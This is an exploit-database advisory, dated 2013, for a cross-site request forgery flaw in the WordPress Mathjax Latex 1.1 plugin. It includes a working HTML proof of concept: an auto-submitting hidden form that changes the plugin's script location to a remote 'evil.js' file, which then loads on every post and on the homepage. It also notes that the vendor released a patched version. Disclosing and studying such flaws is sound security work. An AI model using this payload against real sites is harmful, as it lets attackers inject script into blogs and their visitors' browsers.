WordPress Plugin Mathjax Latex 1.1 - Cross-Site Request Forgery
Author: Junaid Hussain
type: webapps
platform: php
port:
date_added: 2013-03-26
date_updated: 2013-03-26
verified: 1
codes: OSVDB-91737
tags: WordPress Plugin
aliases:
screenshot_url: http://www.exploit-db.com/screenshots/idlt25000/screen-shot-2013-03-26-at-105329-am.png
application_url:
# Title: Wordpress Mathjax Latex 1.1 Cross-Site Request Forgery Vulnerability
# Release Date: 25/03/13
# Author: Junaid Hussain [ illSecure Research Group ]
# Contact: illSecResearchGroup@Gmail.com | Website: illSecure.com
# Software Link: http://downloads.wordpress.org/plugin/mathjax-latex.1.1.zip
# Tested on CentOs 5 - Wordpress Version 3.5
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There is no CSRF protection on the mathjax option page. This allows an attacker to specify arbitrary
javascript that will be loaded with each post and also loaded onto the homepage of the wordpress blog
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//##### CSRF - Proof Of Concept:
<html>
<body onload="javascript:document.forms[0].submit()">
<form id="mathjaxlatex" name="mathjaxlatex" action="http://[DOMAINNAME]/wp-admin/options-general.php?page=mathjax-latex.php" method='POST'>
<input type="hidden" name="mathjax_hidden" style="display:none;" value="Y">
<input type="checkbox" name="force_load" style="display:none;" value="1"CHECKED/>
<input type="checkbox" name="default_disabled" style="display:none;" value="1"CHECKED/>
<input type='textbox' name='mathjax_location' class='regular-text code' value='http://illsecure.com/code/evil.js' style="display:none;"/>
</form>
</html>
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//##### Patch:
The Vendor Was notified and a patch was released:
--- Patched Version: http://downloads.wordpress.org/plugin/mathjax-latex.1.2.1.zip
--- See ChangeLog: http://wordpress.org/extend/plugins/mathjax-latex/changelog/
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Contact: illSecResearchGroup@gmail.com
- Junaid Hussain
- http://illsecure.com
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